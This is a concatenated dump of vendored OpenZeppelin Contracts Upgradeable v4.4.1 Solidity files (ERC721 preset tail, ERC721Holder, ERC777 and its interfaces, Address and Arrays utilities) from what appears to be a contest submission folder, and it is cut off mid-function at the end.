/**
* @dev Pauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC721Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) {
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(AccessControlEnumerableUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
uint256[48] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/utils/ERC721HolderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/utils/ERC721Holder.sol)
pragma solidity ^0.8.0;
import "../IERC721ReceiverUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable {
function __ERC721Holder_init() internal onlyInitializing {
__ERC721Holder_init_unchained();
}
function __ERC721Holder_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/ERC777Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/ERC777.sol)
pragma solidity ^0.8.0;
import "./IERC777Upgradeable.sol";
import "./IERC777RecipientUpgradeable.sol";
import "./IERC777SenderUpgradeable.sol";
import "../ERC20/IERC20Upgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/introspection/IERC1820RegistryUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC777} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* Support for ERC20 is included in this contract, as specified by the EIP: both
* the ERC777 and ERC20 interfaces can be safely used when interacting with it.
* Both {IERC777-Sent} and {IERC20-Transfer} events are emitted on token
* movements.
*
* Additionally, the {IERC777-granularity} value is hard-coded to `1`, meaning that there
* are no special restrictions in the amount of tokens that created, moved, or
* destroyed. This makes integration with ERC20 applications seamless.
*/
contract ERC777Upgradeable is Initializable, ContextUpgradeable, IERC777Upgradeable, IERC20Upgradeable {
using AddressUpgradeable for address;
IERC1820RegistryUpgradeable internal constant _ERC1820_REGISTRY = IERC1820RegistryUpgradeable(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
// This isn't ever read from - it's only used to respond to the defaultOperators query.
address[] private _defaultOperatorsArray;
// Immutable, but accounts may revoke them (tracked in __revokedDefaultOperators).
mapping(address => bool) private _defaultOperators;
// For each account, a mapping of its operators and revoked default operators.
mapping(address => mapping(address => bool)) private _operators;
mapping(address => mapping(address => bool)) private _revokedDefaultOperators;
// ERC20-allowances
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev `defaultOperators` may be an empty array.
*/
function __ERC777_init(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) internal onlyInitializing {
__Context_init_unchained();
__ERC777_init_unchained(name_, symbol_, defaultOperators_);
}
function __ERC777_init_unchained(
string memory name_,
string memory symbol_,
address[] memory defaultOperators_
) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
_defaultOperatorsArray = defaultOperators_;
for (uint256 i = 0; i < defaultOperators_.length; i++) {
_defaultOperators[defaultOperators_[i]] = true;
}
// register interfaces
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC777Token"), address(this));
_ERC1820_REGISTRY.setInterfaceImplementer(address(this), keccak256("ERC20Token"), address(this));
}
/**
* @dev See {IERC777-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC777-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-decimals}.
*
* Always returns 18, as per the
* [ERC777 EIP](https://eips.ethereum.org/EIPS/eip-777#backward-compatibility).
*/
function decimals() public pure virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC777-granularity}.
*
* This implementation always returns `1`.
*/
function granularity() public view virtual override returns (uint256) {
return 1;
}
/**
* @dev See {IERC777-totalSupply}.
*/
function totalSupply() public view virtual override(IERC20Upgradeable, IERC777Upgradeable) returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by an account (`tokenHolder`).
*/
function balanceOf(address tokenHolder) public view virtual override(IERC20Upgradeable, IERC777Upgradeable) returns (uint256) {
return _balances[tokenHolder];
}
/**
* @dev See {IERC777-send}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function send(
address recipient,
uint256 amount,
bytes memory data
) public virtual override {
_send(_msgSender(), recipient, amount, data, "", true);
}
/**
* @dev See {IERC20-transfer}.
*
* Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}
* interface if it is a contract.
*
* Also emits a {Sent} event.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
address from = _msgSender();
_callTokensToSend(from, from, recipient, amount, "", "");
_move(from, from, recipient, amount, "", "");
_callTokensReceived(from, from, recipient, amount, "", "", false);
return true;
}
/**
* @dev See {IERC777-burn}.
*
* Also emits a {IERC20-Transfer} event for ERC20 compatibility.
*/
function burn(uint256 amount, bytes memory data) public virtual override {
_burn(_msgSender(), amount, data, "");
}
/**
* @dev See {IERC777-isOperatorFor}.
*/
function isOperatorFor(address operator, address tokenHolder) public view virtual override returns (bool) {
return
operator == tokenHolder ||
(_defaultOperators[operator] && !_revokedDefaultOperators[tokenHolder][operator]) ||
_operators[tokenHolder][operator];
}
/**
* @dev See {IERC777-authorizeOperator}.
*/
function authorizeOperator(address operator) public virtual override {
require(_msgSender() != operator, "ERC777: authorizing self as operator");
if (_defaultOperators[operator]) {
delete _revokedDefaultOperators[_msgSender()][operator];
} else {
_operators[_msgSender()][operator] = true;
}
emit AuthorizedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-revokeOperator}.
*/
function revokeOperator(address operator) public virtual override {
require(operator != _msgSender(), "ERC777: revoking self as operator");
if (_defaultOperators[operator]) {
_revokedDefaultOperators[_msgSender()][operator] = true;
} else {
delete _operators[_msgSender()][operator];
}
emit RevokedOperator(operator, _msgSender());
}
/**
* @dev See {IERC777-defaultOperators}.
*/
function defaultOperators() public view virtual override returns (address[] memory) {
return _defaultOperatorsArray;
}
/**
* @dev See {IERC777-operatorSend}.
*
* Emits {Sent} and {IERC20-Transfer} events.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public virtual override {
require(isOperatorFor(_msgSender(), sender), "ERC777: caller is not an operator for holder");
_send(sender, recipient, amount, data, operatorData, true);
}
/**
* @dev See {IERC777-operatorBurn}.
*
* Emits {Burned} and {IERC20-Transfer} events.
*/
function operatorBurn(
address account,
uint256 amount,
bytes memory data,
bytes memory operatorData
) public virtual override {
require(isOperatorFor(_msgSender(), account), "ERC777: caller is not an operator for holder");
_burn(account, amount, data, operatorData);
}
/**
* @dev See {IERC20-allowance}.
*
* Note that operator and allowance concepts are orthogonal: operators may
* not have allowance, and accounts with allowance may not be operators
* themselves.
*/
function allowance(address holder, address spender) public view virtual override returns (uint256) {
return _allowances[holder][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
address holder = _msgSender();
_approve(holder, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Note that operator and allowance concepts are orthogonal: operators cannot
* call `transferFrom` (unless they have allowance), and accounts with
* allowance cannot call `operatorSend` (unless they are operators).
*
* Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.
*/
function transferFrom(
address holder,
address recipient,
uint256 amount
) public virtual override returns (bool) {
require(recipient != address(0), "ERC777: transfer to the zero address");
require(holder != address(0), "ERC777: transfer from the zero address");
address spender = _msgSender();
_callTokensToSend(spender, holder, recipient, amount, "", "");
_move(spender, holder, recipient, amount, "", "");
uint256 currentAllowance = _allowances[holder][spender];
require(currentAllowance >= amount, "ERC777: transfer amount exceeds allowance");
_approve(holder, spender, currentAllowance - amount);
_callTokensReceived(spender, holder, recipient, amount, "", "", false);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) internal virtual {
_mint(account, amount, userData, operatorData, true);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* If `requireReceptionAck` is set to true, and if a send hook is
* registered for `account`, the corresponding function will be called with
* `operator`, `data` and `operatorData`.
*
* See {IERC777Sender} and {IERC777Recipient}.
*
* Emits {Minted} and {IERC20-Transfer} events.
*
* Requirements
*
* - `account` cannot be the zero address.
* - if `account` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function _mint(
address account,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(account != address(0), "ERC777: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), account, amount);
// Update state variables
_totalSupply += amount;
_balances[account] += amount;
_callTokensReceived(operator, address(0), account, amount, userData, operatorData, requireReceptionAck);
emit Minted(operator, account, amount, userData, operatorData);
emit Transfer(address(0), account, amount);
}
/**
* @dev Send tokens
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) internal virtual {
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, to, amount, userData, operatorData);
_move(operator, from, to, amount, userData, operatorData);
_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}
/**
* @dev Burn tokens
* @param from address token holder address
* @param amount uint256 amount of tokens to burn
* @param data bytes extra information provided by the token holder
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _burn(
address from,
uint256 amount,
bytes memory data,
bytes memory operatorData
) internal virtual {
require(from != address(0), "ERC777: burn from the zero address");
address operator = _msgSender();
_callTokensToSend(operator, from, address(0), amount, data, operatorData);
_beforeTokenTransfer(operator, from, address(0), amount);
// Update state variables
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: burn amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_totalSupply -= amount;
emit Burned(operator, from, amount, data, operatorData);
emit Transfer(from, address(0), amount);
}
function _move(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
_beforeTokenTransfer(operator, from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC777: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Sent(operator, from, to, amount, userData, operatorData);
emit Transfer(from, to, amount);
}
/**
* @dev See {ERC20-_approve}.
*
* Note that accounts cannot have allowance issued by their operators.
*/
function _approve(
address holder,
address spender,
uint256 value
) internal {
require(holder != address(0), "ERC777: approve from the zero address");
require(spender != address(0), "ERC777: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
/**
* @dev Call from.tokensToSend() if the interface is registered
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
*/
function _callTokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(from, _TOKENS_SENDER_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777SenderUpgradeable(implementer).tokensToSend(operator, from, to, amount, userData, operatorData);
}
}
/**
* @dev Call to.tokensReceived() if the interface is registered. Reverts if the recipient is a contract but
* tokensReceived() was not registered for the recipient
* @param operator address operator requesting the transfer
* @param from address token holder address
* @param to address recipient address
* @param amount uint256 amount of tokens to transfer
* @param userData bytes extra information provided by the token holder (if any)
* @param operatorData bytes extra information provided by the operator (if any)
* @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient
*/
function _callTokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
) private {
address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);
if (implementer != address(0)) {
IERC777RecipientUpgradeable(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);
} else if (requireReceptionAck) {
require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");
}
}
/**
* @dev Hook that is called before any token transfer. This includes
* calls to {send}, {transfer}, {operatorSend}, minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256 amount
) internal virtual {}
uint256[41] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/IERC777RecipientUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Recipient.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777RecipientUpgradeable {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/IERC777SenderUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777Sender.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777TokensSender standard as defined in the EIP.
*
* {IERC777} Token holders can be notified of operations performed on their
* tokens by having a contract implement this interface (contract holders can be
* their own implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777SenderUpgradeable {
/**
* @dev Called by an {IERC777} token contract whenever a registered holder's
* (`from`) tokens are about to be moved or destroyed. The type of operation
* is conveyed by `to` being the zero address or not.
*
* This call occurs _before_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the pre-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensToSend(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/IERC777Upgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/IERC777.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC777Token standard as defined in the EIP.
*
* This contract uses the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let
* token holders and recipients react to token movements by using setting implementers
* for the associated interfaces in said registry. See {IERC1820Registry} and
* {ERC1820Implementer}.
*/
interface IERC777Upgradeable {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the smallest part of the token that is not divisible. This
* means all token operations (creation, movement and destruction) must have
* amounts that are a multiple of this number.
*
* For most token contracts, this value will equal 1.
*/
function granularity() external view returns (uint256);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by an account (`owner`).
*/
function balanceOf(address owner) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* If send or receive hooks are registered for the caller and `recipient`,
* the corresponding functions will be called with `data` and empty
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
/**
* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/README.adoc
================================================
= ERC 777
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/token/erc777
This set of interfaces and contracts are all related to the [ERC777 token standard](https://eips.ethereum.org/EIPS/eip-777).
TIP: For an overview of ERC777 tokens and a walk through on how to create a token contract read our xref:ROOT:erc777.adoc[ERC777 guide].
The token behavior itself is implemented in the core contracts: {IERC777}, {ERC777}.
Additionally there are interfaces used to develop contracts that react to token movements: {IERC777Sender}, {IERC777Recipient}.
== Core
{{IERC777}}
{{ERC777}}
== Hooks
{{IERC777Sender}}
{{IERC777Recipient}}
== Presets
These contracts are preconfigured combinations of features. They can be used through inheritance or as models to copy and paste their source code.
{{ERC777PresetFixedSupply}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC777/presets/ERC777PresetFixedSupplyUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC777/presets/ERC777PresetFixedSupply.sol)
pragma solidity ^0.8.0;
import "../ERC777Upgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev {ERC777} token, including:
*
* - Preminted initial supply
* - No access control mechanism (for minting/pausing) and hence no governance
*
* _Available since v3.4._
*/
contract ERC777PresetFixedSupplyUpgradeable is Initializable, ERC777Upgradeable {
function initialize(
string memory name,
string memory symbol,
address[] memory defaultOperators,
uint256 initialSupply,
address owner
) public virtual initializer {
__ERC777PresetFixedSupply_init(name, symbol, defaultOperators, initialSupply, owner);
}
/**
* @dev Mints `initialSupply` amount of token and transfers them to `owner`.
*
* See {ERC777-constructor}.
*/
function __ERC777PresetFixedSupply_init(
string memory name,
string memory symbol,
address[] memory defaultOperators,
uint256 initialSupply,
address owner
) internal onlyInitializing {
__Context_init_unchained();
__ERC777_init_unchained(name, symbol, defaultOperators);
__ERC777PresetFixedSupply_init_unchained(name, symbol, defaultOperators, initialSupply, owner);
}
function __ERC777PresetFixedSupply_init_unchained(
string memory name,
string memory symbol,
address[] memory defaultOperators,
uint256 initialSupply,
address owner
) internal onlyInitializing {
_mint(owner, initialSupply, "", "");
}
uint256[50] private __gap;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/utils/ArraysUpgradeable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Arrays.sol)
pragma solidity ^0.8.0;
import "./math/MathUpgradeable.sol";
/**
* @dev Collection of functions related to array types.
*/
library ArraysUpgradeable {
/**
* @dev Searches a sorted `array` and returns the first index that contains
* a value greater or equal to `element`. If no such index exists (i.e. all
* values in the array are strictly less than `element`), the array length is
* returned. Time complexity O(log n).
*
* `array` is expected to be sorted in ascending order, and to contain no
* repeated elements.
*/
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
